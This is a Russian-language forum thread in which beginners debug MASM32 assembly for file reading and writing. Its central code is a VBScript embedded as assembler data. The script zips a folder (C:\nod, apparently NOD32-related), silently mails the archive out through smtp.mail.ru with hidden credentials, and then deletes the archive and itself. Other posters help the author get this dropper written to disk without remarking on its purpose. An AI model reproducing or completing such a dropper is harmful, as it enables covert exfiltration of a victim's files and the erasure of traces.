MTV, работа с winsock + протокол SMTP вот пример отправки почты _http://wasm.ru/article.php?article=simplesmtp
Я чуть-чуть подозреваю, что он находится в конце статьи, и судя по всему выглядит вот так: Но это всего лишь мои скромные догадки Т_Т
Благодарю за ссылочку.А это только у меня 554 Ошибка синхронизации при отправление?Пробовал и програмно и вручную( А кто еще подскажет как можно из файла прочитать например только 5 строчку с 5 по 10 символы? И еще,ребят, как записать в фаил 2 строки к примеру,только что-бы каждая строка была в разных строчках!Делаю так: Code: .386 .model flat, stdcall option casemap :none ;####################################################### include C:\masm32\include\windows.inc include C:\masm32\include\user32.inc include C:\masm32\include\kernel32.inc include C:\masm32\include\masm32.inc include C:\masm32\include\shfolder.inc includelib C:\masm32\lib\shfolder.lib includelib C:\masm32\lib\user32.lib includelib C:\masm32\lib\kernel32.lib includelib C:\masm32\lib\masm32.lib ;####################################################### .data? hfile_data dd ? .data file db 'C:\test.txt',0 str1 db 'Stroka',0 str2 db 'S SSTROKA',0 chis db 6 chis2 db 9 .code start: en: invoke CreateFile,addr file,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 mov [hfile_data],eax invoke SetFilePointer,hfile_data,0,0,FILE_BEGIN invoke WriteFile,hfile_data,offset str1,6,offset chis,0 invoke WriteFile,hfile_data,offset str2,9,offset chis2,0 invoke CloseHandle,hfile_data invoke ExitProcess,0 end start
По стандарту ASCII, строки между собой разделяются двумя байтами 13d 10d (переход на новую строку и перевод каретки). Парсишь в строке байт 10d 4 раза, в итоге оказываешься на 5-ой строке. Затем добавляешь к этому адресу 5 и получаешь смещение начала 6-го символа. А там уже через movsb можно скопировать в буфер. Code: .data text db 'aaaaaaaaaaaaaaaaaaaaaaa',13d,10d,'bbbbbbbbbbbbbbbb',13d,10d,'cccccccccccccccccccccc',13d,10d,'ddddddddddddddddddd',13d,10d,'eeeee55555eeeeeeeeeeeeee',0 buff db 6d dup(0) .code Main: mov ecx,4d [COLOR=Lime];"номер строки - 1"[/COLOR] mov edi,offset text mov ax,10d m1: push ecx xor ecx,ecx dec ecx clc repnz scasb pop ecx loop m1 [COLOR=Lime];здесь ты уже на начале 5-ой строки[/COLOR] add edi,5d [COLOR=Lime];номер символа в строке, от которого будем копировать[/COLOR] xchg edi,esi mov edi,offset buff mov ecx,5d [COLOR=Lime];количество копируемых символов[/COLOR] rep movsb push 0 push offset buff push offset buff push 0 call MessageBoxA push 0 call ExitProcess
Ребят,ругается на эту строчку: Code: VBS0 dd 'Const FOF_SIMPLEPROGRESS = 256',13d,10d,'Dim MySource, MyTarget, MyHex, MyBinary,i',13d,10d,'Dim oShell,oCTF',13d,10d,'Dim oFileSys',13d,10d dd 'dim winShell',13d,10d,'dim newfolderpath',13d,10d,'dim t',13d,10d,'On Error Resume Next',13d,10d,'dim filesys, newfolder',13d,10d dd'newfolderpath = "C:\nod"',13d,10d,'set filesys=CreateObject("scripting.FileSystemObject")',13d,10d dd 'If Not filesys.FolderExists(newfolderpath) Then',13d,10d,'Set newfolder = filesys.CreateFolder(newfolderpath)',13d,10d,'End If',13d,10d dd 'set filesys=Nothing',13d,10d,'Set newfolder=Nothing',13d,10d,'set WshShell1 = Wscript.CreateObject("Wsсriрt.Shell")',13d,10d dd 'filePath = "C:\nod"',13d,10d,'MySource = filePath',13d,10d,'MyTarget = newfolderpath & "nod.zip"',13d,10d,'archPath_nod = "nod.zip"',13d,10d dd 'MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)',13d,10d,'For i = 0 To UBound(MyHex)',13d,10d dd 'MyBinary = MyBinary & Chr(MyHex(i))',13d,10d,'Next',13d,10d,'Set oShell = CreateObject("Wscript.Shell")',13d,10d dd 'Set oFileSys = CreateObject("scripting.FileSystemObject")',13d,10d,'Set oCTF = oFileSys.CreateTextFile(MyTarget, True)',13d,10d dd 'oCTF.Write MyBinary',13d,10d,'oCTF.Close',13d,10d,'Set oCTF = Nothing',13d,10d,'set winShell = createObject("shell.application")',13d,10d dd 'winShell.namespace(MyTarge,t).CopyHere MySource',13d,10d,'wscript.Sleep(5000)',13d,10d,'Set oFileSys = Nothing',13d,10d dd 'Set oShell = Nothing',13d,10d,'set WshShell = Nothing',13d,10d,'set WshShell1 = Nothing',13d,10d,'on error resume next',13d,10d dd 'Set S = CreateObject("Wsсriрt.Shell")',13d,10d,'set FSO=createobject("sсriрting.filesystemobject")',13d,10d dd 'Call SendPost("smtp.mail.ru","*********","*******","Finich","Finich")',13d,10d dd 'Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)',13d,10d,'Set iMsg=CreateObject("CDO.Message")',13d,10d dd 'Set iConf=CreateObject("CDO.Configuration")',13d,10d,'Set Flds=iConf.Fields',13d,10d dd 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2',13d,10d dd 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1',13d,10d dd 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="*********"',13d,10d dd 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="*********"',13d,10d dd 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"',13d,10d dd 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25',13d,10d,'Flds.Update',13d,10d,'iMsg.Configuration=iConf',13d,10d dd 'iMsg.To=strTo',13d,10d,'iMsg.From=strFrom',13d,10d,'iMsg.Subject=strSubject',13d,10d,'iMsg.TextBody=strBody',13d,10d dd 'iMsg.AddAttachment"C:\nodnod.zip"',13d,10d,'iMsg.Send',13d,10d,'End Function',13d,10d,'Set iMsg=Nothing',13d,10d,'Set iConf=Nothing',13d,10d dd 'Set Flds=Nothing',13d,10d,'fso.deletefile "C:\nodnod.zip",1',13d,10d,'FSO.deletefile wscript.scriptfullname',0 Пишет:Constant value too large и initializer magnitude too large for specfied size.Что делать?
ты пытаешься расписать весь вбс скрипт назвав только одну строку?и почему dd если db? и строка оканчивается нулем.
Я делал и вот так: Code: VBS0 dd 'Const FOF_SIMPLEPROGRESS = 256',13d,10d,'Dim MySource, MyTarget, MyHex, MyBinary,i',13d,10d,'Dim oShell,oCTF',13d,10d,'Dim oFileSys',13d,10d, 'dim winShell',13d,10d,'dim newfolderpath',13d,10d,'dim t',13d,10d,'On Error Resume Next',13d,10d,'dim filesys, newfolder',13d,10d,'newfolderpath = "C:\nod"',13d,10d,'set filesys=CreateObject("scripting.FileSystemObject")',13d,10d, 'If Not filesys.FolderExists(newfolderpath) Then',13d,10d,'Set newfolder = filesys.CreateFolder(newfolderpath)',13d,10d,'End If',13d,10d,'set filesys=Nothing',13d,10d,'Set newfolder=Nothing',13d,10d,'set WshShell1 = Wscript.CreateObject("Wsсriрt.Shell")',13d,10d, 'filePath = "C:\nod"',13d,10d,'MySource = filePath',13d,10d,'MyTarget = newfolderpath & "nod.zip"',13d,10d,'archPath_nod = "nod.zip"',13d,10d, 'MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)',13d,10d,'For i = 0 To UBound(MyHex)',13d,10d,'MyBinary = MyBinary & Chr(MyHex(i))',13d,10d,'Next',13d,10d,'Set oShell = CreateObject("Wscript.Shell")',13d,10d,'Set oFileSys = CreateObject("scripting.FileSystemObject")',13d,10d,'Set oCTF = oFileSys.CreateTextFile(MyTarget, True)',13d,10d,'oCTF.Write MyBinary',13d,10d,'oCTF.Close',13d,10d,'Set oCTF = Nothing',13d,10d,'set winShell = createObject("shell.application")',13d,10d,'winShell.namespace(MyTarge,t).CopyHere MySource',13d,10d,'wscript.Sleep(5000)',13d,10d,'Set oFileSys = Nothing',13d,10d,'Set oShell = Nothing',13d,10d,'set WshShell = Nothing',13d,10d,'set WshShell1 = Nothing',13d,10d,'on error resume next',13d,10d,'Set S = CreateObject("Wsсriрt.Shell")',13d,10d,'set FSO=createobject("sсriрting.filesystemobject")',13d,10d,'Call SendPost("smtp.mail.ru","******","*********","Finich","Finich")',13d,10d,'Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)',13d,10d,'Set iMsg=CreateObject("CDO.Message")',13d,10d,'Set iConf=CreateObject("CDO.Configuration")',13d,10d,'Set Flds=iConf.Fields',13d,10d, 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2',13d,10d,'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1',13d,10d,'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="********"',13d,10d,'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="********"',13d,10d,'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"',13d,10d,'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25',13d,10d,'Flds.Update',13d,10d,'iMsg.Configuration=iConf',13d,10d,'iMsg.To=strTo',13d,10d,'iMsg.From=strFrom',13d,10d,'iMsg.Subject=strSubject',13d,10d,'iMsg.TextBody=strBody',13d,10d,'iMsg.AddAttachment"C:\nodnod.zip"',13d,10d,'iMsg.Send',13d,10d,'End Function',13d,10d,'Set iMsg=Nothing',13d,10d,'Set iConf=Nothing',13d,10d,'Set Flds=Nothing',13d,10d,'fso.deletefile "C:\nodnod.zip",1',13d,10d,'FSO.deletefile wscript.scriptfullname',0 Показывает:Statement too comlpex и line to long.
Запиши скрипт как строки просто VBS0 db 'Const FOF_SIMPLEPROGRESS = 256',0 vbs1 db 'Dim MySource, MyTarget, MyHex, MyBinary,i',0 и т.д.
Я так писал, а как мне потом записать их в фаил с новой строки? Вот как я делал: Code: s1 db 'Const FOF_SIMPLEPROGRESS = 256',0dh,0ah,0 ss1 db 30 s2 db 'Dim MySource, MyTarget, MyHex, MyBinary,i',0 ss2 db 41 s3 db 'Dim oShell,oCTF',0 s4 db 'Dim oFileSys',0 s5 db 'dim winShell',0 s6 db 'dim newfolderpath',0 s7 db 'dim t',0 s8 db 'On Error Resume Next',0 s9 db 'dim filesys, newfolder',0 s10 db 'newfolderpath = "C:\nod"',0 s11 db 'set filesys=CreateObject("scripting.FileSystemObject")',0 s12 db 'If Not filesys.FolderExists(newfolderpath) Then',0 s13 db 'Set newfolder = filesys.CreateFolder(newfolderpath)',0 s14 db 'End If',0 s15 db 'set filesys=Nothing',0 s16 db 'Set newfolder=Nothing',0 s17 db 'set WshShell1 = Wscript.CreateObject("Wsсriрt.Shell")',0 s18 db 'filePath = "C:\nod"',0 s19 db 'MySource = filePath',0 s20 db 'MyTarget = newfolderpath & "nod.zip"',0 s21 db 'archPath_nod = "nod.zip"',0 s22 db 'MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)',0 s23 db 'For i = 0 To UBound(MyHex)',0 s24 db 'MyBinary = MyBinary & Chr(MyHex(i))',0 s25 db 'Next',0 s26 db 'Set oShell = CreateObject("Wscript.Shell")',0 s27 db 'Set oFileSys = CreateObject("scripting.FileSystemObject")',0 s28 db 'Set oCTF = oFileSys.CreateTextFile(MyTarget, True)',0 s29 db 'oCTF.Write MyBinary',0 s30 db 'oCTF.Close',0 s31 db 'Set oCTF = Nothing',0 s32 db 'set winShell = createObject("shell.application")',0 s33 db 'winShell.namespace(MyTarget).CopyHere MySource',0 s34 db 'wscript.Sleep(5000)',0 s35 db 'Set oFileSys = Nothing',0 s36 db 'Set oShell = Nothing',0 s37 db 'set WshShell = Nothing',0 s38 db 'set WshShell1 = Nothing',0 str1 db 'on error resume next',0 str2 db 'Set S = CreateObject("Wsсriрt.Shell")',0 str3 db 'set FSO=createobject("sсriрting.filesystemobject")',0 str4 db 'Call SendPost("smtp.mail.ru","********","*******","Finich","Finich")',0 str5 db 'Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)',0 str6 db 'Set iMsg=CreateObject("CDO.Message")',0 str7 db 'Set iConf=CreateObject("CDO.Configuration")',0 str8 db 'Set Flds=iConf.Fields',0 str9 db 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2',0 str10 db 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1',0 str11 db 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="*********"',0 str12 db 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="********"',0 str13 db 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"',0 str14 db 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25',0 str15 db 'Flds.Update',0 str16 db 'iMsg.Configuration=iConf',0 str17 db 'iMsg.To=strTo',0 str18 db 'iMsg.From=strFrom',0 str19 db 'iMsg.Subject=strSubject',0 str20 db 'iMsg.TextBody=strBody',0 str21 db 'iMsg.AddAttachment"C:\nodnod.zip"',0 str22 db 'iMsg.Send',0 str23 db 'End Function',0 str24 db 'Set iMsg=Nothing',0 str25 db 'Set iConf=Nothing',0 str26 db 'Set Flds=Nothing',0 str27 db 'fso.deletefile "C:\nodnod.zip",1',0 str28 db 'FSO.deletefile wscript.scriptfullname',0 .code invoke CreateFile,addr file,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 mov [handle],eax invoke SetFilePointer,handle,0,0,FILE_BEGIN invoke WriteFile,handle,addr s1,30,addr ss1,0 invoke WriteFile,handle,addr s2,41,addr ss2,0 и т.д. invoke CloseHandle,handle Не получается((
ну так тебе ж надо возврат каретки делать и перенос строки, для этого сделай еще одну переменную вида: cr db 0dh,0ah,0 записуй в файл после каждой записи строки скрипта,выделяя по 2 байта в буфере
А ну с кареткой разобрался,спасибо.Вот посмотри, когда я записываю в фаил 1 и 2 строку у меня почему-то записывается в фаил null null null вместо слова.Вроде байты правильно расставляю.Вот отрывок кода: Code: .data? handle dd ? .data cr db 0dh,0ah cr1 db 2 file db 'C:\nod.txt',0 s1 db 'Const FOF_SIMPLEPROGRESS = 256',0 ss1 db 31 s2 db 'Dim MySource, MyTarget, MyHex, MyBinary,i,',0 ss2 db 42 .code invoke CreateFile,addr file,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 mov [handle],eax invoke SetFilePointer,handle,0,0,FILE_BEGIN invoke WriteFile,handle,addr s1,31,addr ss1,0 invoke WriteFile,handle,addr cr,2,addr cr1,0 invoke WriteFile,handle,addr s2,42,addr ss2,0 invoke CloseHandle,handle В фаил записывается: Code: Const FOF_SIMPLEPROGRESS = 256NULL NULLNULLNULLMySource, MyTarget, MyHex, MyBinary,i, Почему так?
там не надо addr ss1. в этом флаге указатель на переменную, которая получает число записанных байтов. Если асинхронный буфер =0 (то есть последний флаг) то запись должна быть такая: переменная temp dd ? invoke WriteFile,handle,addr s1,31,addr temp,0
Потому что это не ASCIIZ строка, она не должна заканчиваться нулевым байтом. Вместо него сделай 2 байта перевод на новую строку и перевод каретки. Т.е. вместо "file db 'C:\nod.txt',0" надо "file db 'C:\nod.txt',13d,10d" и так в каждой строке. А зачем вообще между строк "ss1 db 31" это к примеру? Пиши строки скрипта подряд. Потом в конце добавь константу Code: s_size equ ($-offset s1) и передай её, как количество записываемых байт, в WriteFile. Тогда тебе не нужно будет вызывать WriteFile много раз, а всего один.
Ребят а в чем тут проблема? Code: .386 .model flat, stdcall option casemap :none ;####################################################### include C:\masm32\include\windows.inc include C:\masm32\include\user32.inc include C:\masm32\include\kernel32.inc include C:\masm32\include\masm32.inc includelib C:\masm32\lib\user32.lib includelib C:\masm32\lib\kernel32.lib includelib C:\masm32\lib\masm32.lib ;####################################################### .data? handle dd ? text db ? pr dd ? .data test1 db 'C:\test.ini',0 buff db 6d dup(0) .code start: invoke CreateFile,addr test1,GENERIC_READ,FILE_SHARE_READ,0,0,FILE_ATTRIBUTE_NORMAL,0 mov handle,eax xor eax,eax invoke ReadFile,handle,addr text,109,addr pr,0 invoke CloseHandle,handle mov ecx,5d ;"номер строки - 1" mov edi,offset text mov ax,10d m1: push ecx xor ecx,ecx dec ecx clc repnz scasb pop ecx loop m1 ;здесь ты уже на начале 5-ой строки add edi,15d ;номер символа в строке, от которого будем копировать xchg edi,esi mov edi,offset buff mov ecx,16d ;количество копируемых символов rep movsb push 0 push offset buff push offset buff push 0 call MessageBoxA push 0 call ExitProcess end start
Когда запуская пишет: Code: Ошибка приложения Инструкция по адресу "0х0040105а обратилась к памяти по адресу "0х00404000".Память не может быть "read".
А я хочу прочитать из файла 16 симолов, которые находятся на 5 строке начиная с 15 символа.Что не кто не знает??
Ребят че я опять не так делаю?Хочу прочитать из файла!Вот код: Code: .386 .model flat, stdcall option casemap :none ;####################################################### include C:\masm32\include\windows.inc include C:\masm32\include\user32.inc include C:\masm32\include\kernel32.inc include C:\masm32\include\masm32.inc includelib C:\masm32\lib\user32.lib includelib C:\masm32\lib\kernel32.lib includelib C:\masm32\lib\masm32.lib ;####################################################### .data? handle dd ? text db ? pr dd ? size1 dd ? .data test1 db 'C:\test.txt',0 .code start: invoke CreateFile,offset test1,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 mov [handle],eax invoke GetFileSize,[handle],0 mov [size1],eax invoke ReadFile,[handle],offset text,[size1],addr pr,0 invoke CloseHandle,handle invoke MessageBox,0,addr text,addr text,MB_OK invoke ExitProcess,0 end start
Code: .386 .model flat, stdcall option casemap :none ;################################################# ###### include include\windows.inc include include\user32.inc include include\kernel32.inc include include\masm32.inc includelib lib\user32.lib includelib lib\kernel32.lib includelib lib\masm32.lib ;################################################# ###### .data? handle dd ? text dd 256 dup (?) pr dd ? size1 dd ? .data test1 db 'C:\cmdbar.ini',0 .code start: invoke CreateFile,addr test1,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 mov handle,eax invoke GetFileSize,handle,0 invoke ReadFile,handle,addr text,eax,addr pr,0 invoke CloseHandle,handle invoke MessageBox,0,addr text,addr text,MB_OK invoke ExitProcess,0 end start;This program was created on assembler editor не понял причем тут скобки были. скобки нужны чтобы поместить значение по адресу расположенном в регистре. не понял к чему тут ето было mov [size1],eax почему перед [size1] в readfile нету addr? пиши вместо offset addr ты ж сам себя путаешь,и смотри почаще в справочник апи.даже ж буфер не указал...